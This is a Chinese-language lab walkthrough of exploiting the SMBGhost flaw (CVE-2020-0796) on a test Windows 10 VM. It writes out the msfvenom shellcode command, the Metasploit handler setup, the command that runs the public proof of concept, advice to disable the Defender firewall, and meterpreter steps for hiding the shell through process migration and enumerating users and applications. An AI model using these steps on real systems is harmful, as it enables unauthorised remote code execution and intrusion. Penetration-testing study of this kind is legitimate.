一、CVE-2020-0796简介 0x01 漏洞简介
CVE-2020-0796是由于SMBv3协议在处理恶意的压缩数据包时出错所造成的;在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。它可让远程且未经身份验证的攻击者在目标系统上执行任意代码,该漏洞类似于永恒之蓝。
0x02 影响版本Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)
二、实验环境靶机:存在漏洞的win10虚拟机环境,下载地址https://msdn.itellyou.cn/
攻击机:kali
Poc:https://github.com/chompie1337/SMBGhost_RCE_PoC
三、shell获取 0x01 使用msf生成shellcode
msfvenom -p windows/x64/meterpreter/bind_tcp lport=3333 -f py -o shellcode.txt
将生成的shellcode替换exp中的exploit.py中的USER_PAYLOAD保存即可
0x02 使用kali中的msf开启目标端口连接处理器
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set rhost 192.168.232.134
rhost => 192.168.232.134
msf5 exploit(multi/handler) > set lport 3333
lport => 3333
msf5 exploit(multi/handler) > exploit
0x03 执行攻击脚本
python3 exploit.py -ip 192.168.232.134
成功获得shell
注意要关闭 Microsoft Defender 防火墙,要不不能执行成功。
四、Meterpreter后渗透攻击 0x01 进程迁移、隐藏shell在刚获得Meterpreter shell时,该shell是极其脆肉和易被发现的,所以第一步要移动这个shelll,把它和目标机中一个稳定的进程绑定在一起。
meterpreter > getpid \获取当前Meterpreter shell进程PID
meterpreter > run post/windows/manage/migrate \自动寻找合适的进程,然后迁移
当然也可以使用migrate迁移到你指定的进程。
0x02 常见系统命令
meterpreter > sysinfo \sysinfo查看目标机的系统信息
meterpreter > idletime \查看机器运行时间
meterpreter > route \查看路由信息
meterpreter > getuid \查看当前渗透成功的用户名
meterpreter > run post/windows/gather/enum_logged_on_users \列举当前登录的用户
meterpreter > run post/windows/gather/enum_applications \列举应用程序